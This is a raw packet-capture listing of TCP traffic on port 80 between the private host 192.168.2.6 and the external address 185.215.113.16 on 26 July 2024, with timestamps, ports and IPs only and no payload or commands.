Jul 26, 2024 10:36:20.446582079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.446592093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.446607113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.446616888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.446625948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.446629047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.446639061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.446671009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.446688890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.447390079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447402000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447413921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447423935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447433949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447448015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447458029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447458982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.447468996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.447506905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.448195934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448206902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448219061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448225021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448230028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448246002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448256969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.448256969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.448307037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.449107885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449122906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449132919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449139118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449150085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449160099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449170113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449172974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.449181080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.449229002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.449960947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.450045109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.450088024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.450161934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469155073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469227076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469238043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469264030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469296932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469393969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469435930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469444036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469449043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469477892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469495058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469887972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469898939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.469938993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.469957113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.470149994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.470185041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.470195055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.470206976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.470221043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.470227957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.470231056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.470272064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.473157883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473169088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473181963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473191977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473201990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473210096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.473212004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473222971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.473261118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.473293066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.474529982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474540949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474551916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474565029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474667072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.474667072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.474838018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474857092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474886894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.474904060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.474952936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474972963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474983931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474993944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.474999905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.475004911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475028038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.475063086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.475888014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475899935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475909948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475922108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475935936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475944996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.475951910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475960970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475971937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.475981951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.476017952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.476497889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.476548910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.511707067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.511766911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.511775017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.511802912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.511816025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.511847973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.511909962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.511959076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.511964083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.511996984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.512012005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.512031078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.512044907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.512079000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522083044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522141933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522146940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522177935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522198915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522219896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522303104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522357941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522444963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522524118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522557020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522583008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522593975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522613049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522643089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522820950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522833109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522862911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522876978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522888899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522896051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522902012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522912025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.522922993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522947073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.522980928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541054010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541115999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541172981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541205883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541245937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541352034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541383028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541383982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541393995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541419029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541429996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541456938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541485071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541518927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541738033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541757107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541779995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541785955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541795015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541807890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541814089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541827917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541830063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541846991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541858912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541862011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.541882992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.541915894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543211937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543226957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543240070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543251991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543262959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543276072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543281078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543287992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543299913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543312073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543312073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543323994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543335915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543356895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543384075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543813944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543829918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543840885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543853045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543864012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543865919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543874979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543889999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543900013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.543910980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.543945074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.544750929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544764042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544775963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544789076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544799089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.544800043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544811964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544821978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544831991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544835091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.544843912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.544877052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.544904947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.545630932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.545644045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.545653105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.545666933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.545681000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.545700073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.545737028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.564651966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.564722061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.564728975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.564740896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.564779997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.564951897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.564965010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.564979076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.564996958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565037012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565254927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565269947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565299034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565332890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565505028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565515995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565531969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565546989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565551996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565558910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565570116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565576077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565582037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.565615892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.565638065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.566298962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566310883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566322088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566334009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566344976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566349030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.566355944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566370964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566381931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.566386938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.566409111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.566433907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.567198038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567209959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567224026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567234993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567245007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567250967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.567256927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567267895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567276001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.567312002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.567980051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.567991972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568006992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568018913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568030119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568032026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.568042040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568053961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568064928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568065882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.568111897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.568697929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568710089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.568764925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605459929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605496883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605554104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605557919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605587959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605587959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605612040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605634928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605669975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605703115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605714083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605740070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.605753899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.605784893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.608932018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609011889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609019041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609046936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609080076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609107971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609232903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609244108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609256983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609268904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609278917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609302044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609349966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609678984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609689951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609700918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609710932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609721899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609734058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609735012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609745979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.609766960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.609791994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.633810997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.633891106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.634063959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634124994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.634164095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634206057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.634216070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634258986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.634337902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634351015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634382010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.634397984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.634696007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634706974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.634721994 CEST	80	49713	185.215.113.16	192.168.2.6
